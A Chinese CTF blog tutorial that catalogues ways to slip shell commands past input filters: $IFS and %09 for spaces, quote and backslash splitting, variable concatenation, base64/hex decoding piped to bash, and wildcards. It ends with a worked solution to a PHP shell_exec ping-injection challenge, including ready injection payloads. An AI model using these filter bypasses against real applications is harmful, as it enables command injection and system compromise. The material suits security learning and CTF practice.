RCE篇之命令执行中的各种绕过

命令执行中的各种绕过

在ctf中,命令执行一直是一个非常重要的考点,一道ctf题最后往往都需要我们执行命令来拿到flag,但一般都会有各种各样的过滤限制,接下来就来总结一下如何绕过这些过滤

1.绕过空格

常见的绕过空格的方法有$IFS$9,$IFS,$IFS$1,${IFS},%09,$IFS是linux下的分隔符,加上{}或者后面加$表示截断,防止与后面的变量名粘连导致命令无法执行,而$9指的是当前系统shell进程的第九个参数的持有者,就是一个空字符串,因此$9相当于没有加东西,等于做了一个前后隔离,基本上用上面的方法都可以绕过空格了,还有一些不常用的方法,比如说用cat<a.txt表示cat a.txt{cat,flag.php}等等

2.绕过分隔符

linux下执行两条不同的命令中间需要分隔符,分隔符一般都是用||或者; 这两个一般都会有一个不会被禁掉,直接用就行,;只起分隔作用,不关心彼此是否执行成功,所有命令都会执行,而||实现逻辑或的功能,只有在左边的命令执行失败时,右边的命令才会执行

3.绕过关键字

这个应该是最重要的了,每次过滤的重点就是关键字,一般绕过的方法如下:

1.中间加入符号

1
2
3
4
5
6
7
8
这种我认为是最常见也是最简单的,你可以在命令中添加反斜杠\或者双引号"或者反引号`来绕过正则匹配
但要记住的是,两个字母之间反斜杠\只能加一个,双引号"和反引号`因为要闭合所以只能加偶数个,否则就不能执行命令了:
ls -> l\s
ls -> l""s
ls -> l``s
cat /flag -> ca\t /flag -> c\a\t /flag
cat /flag -> ca""t /flag -> c""a""t /flag
cat /flag -> ca``t /flag -> c``a``t /flag

2.拆分命令绕过

1
2
3
4
这种方法还是非常常见的,就是通过拆分和拼接的方式,可以绕过对命令和对文件名的正则匹配,达到执行命令的目的
但这种方式有很大的弊端就是当分号被过滤掉之后就很难使用了:
ls -> a=l;b=s;$a$b
cat /flag -> a=ag;b=fl;cat /$b$a;

3.编码绕过

1
2
3
4
5
6
7
8
这种方法网上写的非常多,但我觉得实际能用的情况其实挺少的,而且构造它也相对比较麻烦,这里就简单推荐两种方法:
1.base64
echo 'cat' | base64 --> Y2F0Cg==
那我们就可以构造cat /flag为:
`echo 'Y2F0Cg==' | base64 -d` /flag
2.hex
echo 77686F616D69 | xxd -r -p | bash
其中77686F616D69是whoami的hex编码

4.通配符绕过

1
2
3
4
5
6
7
这种方式主要是针对文件名那几个字符被过滤时可以使用,就是用?或者*来代替具体的字符
但一定注意这是针对文件名的哈,命令是肯定不能直接这么用的,但linux下命令其实也是文件
比如说像cat就对应文件/bin/cat,ls就对应文件/bin/ls等等,我们也可以用类似的方法进行构造:
ls -> /bin/l?
cat -> /bin/c??
像preg_match("/.*f.*l.*a.*g.*/", $ip)这种flag字样都是被过滤了的,我们用通配符就很好用:
cat /flag -> /bin/ca? /????

4.例题解析—–BMZCTF 端午就该吃粽子

前面的过程就不讲了,核心源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/(;|'| |>|]|&| |python|sh|nc|tac|rev|more|tailf|index|php|head|nl|sort|less|cat|ruby|perl|bash|rm|cp|mv|\*)/i", $ip)){
die("<script language='javascript' type='text/javascript'>
alert('no no no!')
window.location.href='index.php';</script>");
}else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("<script language='javascript' type='text/javascript'>
alert('no flag!')
window.location.href='index.php';</script>");
}
$a = shell_exec("ping -c 4 ".$ip);
echo $a;
}
?>

核心语句是shell_exec("ping -c 4 ".$ip);相当于就是一个有过滤情况下的命令执行,那按照前面讲的方法绕过的方法就很多了,很多种方法都可以拿到flag,我们先ls一下根目录,空格就用%09代替:

image.png

可以看到flag就在根目录下,那我们看它的方法就很多了:

1
2
3
4
5
1||c""at%09/????
1||c\a\t$IFS$9/????
1||/bin/c??$IFS/????
1||c""at%09$(find%09/%09-name%09f??g)
等等等等非常多种,可以随意组合实现cat /flag这条命令,然后就得到flag了

image.png

顺便这里再多讲一个,有的ctf题恶心人,他不把flag放根目录下,找它就很费功夫,就可以用下列语句找flag:

1
2
3
system("find / -name flag*"):查找所有文件名匹配flag*的文件
system("cat $(find / -name flag*)"):打印所有文件名匹配flag*的文件
一般直接用第二条就可以打印出flag文件了,当然如果是有过滤的话就按照上面的方法绕过就好啦!
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2022 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信